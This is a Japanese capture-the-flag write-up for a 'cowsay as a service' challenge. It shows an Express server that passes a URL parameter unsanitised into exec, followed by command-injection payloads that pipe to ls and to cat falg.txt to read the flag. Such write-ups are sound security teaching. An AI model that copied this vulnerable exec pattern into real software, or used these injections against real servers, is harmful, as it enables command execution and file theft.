問題
Description
Now presenting cowsay as a service
解答
パスに指定したものが直接表示されているので、そこの制御不備を突くのだろうなと思いながら、添付されているindex.jsを見ます。
const express = require('express');
const app = express();
const { exec } = require('child_process');
app.use(express.static('public'));
app.get('/cowsay/:message', (req, res) => {
exec(`/usr/games/cowsay ${req.params.message}`, {timeout: 5000}, (error, stdout) => {
if (error) return res.status(500).end();
res.type('txt').send(stdout).end();
});
});
app.listen(3000, () => {
console.log('listening');
});
expressで書かれたサーバサイドのコードのようです。
app.getで/cowsay/リクエストパラメータの制御を行っています。
どうやらなんのサニタイズもされず、直接execに使われていることがわかります。
execはnode.jsの組み込みのシェルコマンドを実行する関数です。もう明らかにヤバいですね
現在では、/usr/games/cowsay にparamsのmessageを引数として実行しています。
message引数を与えた後にパイプ | でつないで任意のコマンドを実行できます。
試しに/cowsay/a | lsとurlに入れて見ます。
するとフォルダ一覧が見えました。
なぜかflagではなくfalg.txtとなっているのに気を付けて、cat等で出力します
/cowsay/a | cat falg.txt
するとflagが出力されます